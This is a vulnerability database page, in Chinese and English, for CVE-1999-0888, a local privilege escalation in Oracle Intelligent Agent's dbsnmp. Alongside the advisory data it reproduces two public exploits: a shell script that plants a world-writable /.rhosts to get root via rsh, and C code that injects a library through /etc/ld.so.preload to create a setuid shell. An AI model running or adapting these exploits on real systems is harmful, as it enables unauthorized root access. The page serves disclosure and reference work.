CVE-1999-0888
CVSS4.6
发布时间 :1999-08-16 00:00:00
修订时间 :2008-09-09 08:36:07
NMCOE    

[原文]dbsnmp in Oracle Intelligent Agent allows local users to gain privileges by setting the ORACLE_HOME environmental variable, which dbsnmp uses to find the nmiconf.tcl script.


[CNNVD]Oracle Intelligent Agent漏洞(CNNVD-199908-026)

        Oracle Intelligent Agent的dbsnmp存在漏洞。本地用户通过设置ORACLE_HOME环境变量提升特权,dbsnmp利用该漏洞查找nmiconf.tcl脚本。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:oracle:database_server:7.3.4Oracle Database Server 7.3.4
cpe:/a:oracle:oracle8i:8.0.5.1
cpe:/a:oracle:oracle8i:8.1.5
cpe:/a:oracle:oracle8i:8.0.3
cpe:/a:oracle:oracle8i:8.0.5
cpe:/a:oracle:database_server:7.3.3Oracle Database Server 7.3.3
cpe:/a:oracle:oracle8i:8.0.4

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0888
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0888
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199908-026
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/585
(UNKNOWN)  BID  585

- 漏洞信息

Oracle Intelligent Agent漏洞
中危 输入验证
1999-08-16 00:00:00 2005-05-02 00:00:00
本地  
        Oracle Intelligent Agent的dbsnmp存在漏洞。本地用户通过设置ORACLE_HOME环境变量提升特权,dbsnmp利用该漏洞查找nmiconf.tcl脚本。

- 公告与补丁

        Oracle provided fixed at:
        http://technet.oracle.com/misc/agent/section.htm
        Oracle has also provided the following information to answer any questions concerning these vulnerabilities. The FAQ is available in HTML format at:
        http://technet.oracle.com/misc/agent/faq.htm

- 漏洞信息 (19460)

Oracle <= 8 8.1.5 Intelligent Agent Vulnerability (1) (EDBID:19460)
multiple local
1999-08-16 Verified
0 Brock Tellier
N/A [点击下载]
source: http://www.securityfocus.com/bid/585/info

A vulnerability in the Oracle Intelligent Agent allows local malicious users to execute arbitrary commands and to create world writable files as the root user.

The problem lies in the dbsnmp program located in $ORACLE_HOME/bin . This setuid root and setgid dba program trusts the environment variable ORACLE_HOME without verifying its contents. This vulnerability can be exploited in a number of ways.

The dbsnmp program calls a tcl script ( nmiconf.tcl ) located by default in $ORACLE_HOME/network/agent/config. A malicious user can craft his own nmiconf.tcl script and fool the dbsnmp program to execute as root.

When run without ORACLE_HOME being set, dbsnmp will dump two log files out into the current working directory: dbsnmpc and dbsnmpt . If these files do not exist, dbsnmp will attempt to create them mode 666 and dump around 400 bytes of uncontrollable output into them. If the files do exist, dbsnmp will append these 400 bytes but not change the permissions. Thus a malicious user can create world writable files in the system that do not exist (e.g. /.rhosts).


#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You'll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts		

- 漏洞信息 (19461)

Oracle <= 8 8.1.5 Intelligent Agent Vulnerability (2) (EDBID:19461)
multiple local
1999-08-16 Verified
0 Gilles PARC
N/A [点击下载]
source: http://www.securityfocus.com/bid/585/info
 
A vulnerability in the Oracle Intelligent Agent allows local malicious users to execute arbitrary commands and to create world writable files as the root user.
 
The problem lies in the dbsnmp program located in $ORACLE_HOME/bin . This setuid root and setgid dba program trusts the environment variable ORACLE_HOME without verifying its contents. This vulnerability can be exploited in a number of ways.
 
The dbsnmp program calls a tcl script ( nmiconf.tcl ) located by default in $ORACLE_HOME/network/agent/config. A malicious user can craft his own nmiconf.tcl script and fool the dbsnmp program to execute as root.
 
When run without ORACLE_HOME being set, dbsnmp will dump two log files out into the current working directory: dbsnmpc and dbsnmpt . If these files do not exist, dbsnmp will attempt to create them mode 666 and dump around 400 bytes of uncontrollable output into them. If the files do exist, dbsnmp will append these 400 bytes but not change the permissions. Thus a malicious user can create world writable files in the system that do not exist (e.g. /.rhosts).

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{

  if (!geteuid()) {

  remove("/etc/ld.so.preload");

  execl("/bin/bash","bash","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);

  }

}
*/
$ gcc -o oracle-ex.o -c oracle-ex.c -fPIC
$ gcc  -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 oracle-ex.o -nostartfiles

$  unset ORACLE_HOME

$  umask 0000
$  ln -s /etc/ld.so.preload  /tmp/listener.log
$  /u01/app/oracle/product/8.0.5/bin/tnslsnr

$ echo /tmp/libno_ex.so.1.0 >/etc/ld.so.preload

$ telnet localhost

Trying ...
Connected to localhost.localdomain.
Escape character is '^]'.
Connection closed by foreign host.

$ ./xxxx
#
/*
		

- 漏洞信息

1045
Oracle Intelligent Agent dbsnmp ORACLE_HOME Local Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1999-08-17 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 8.1.6 or 8.0.6 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站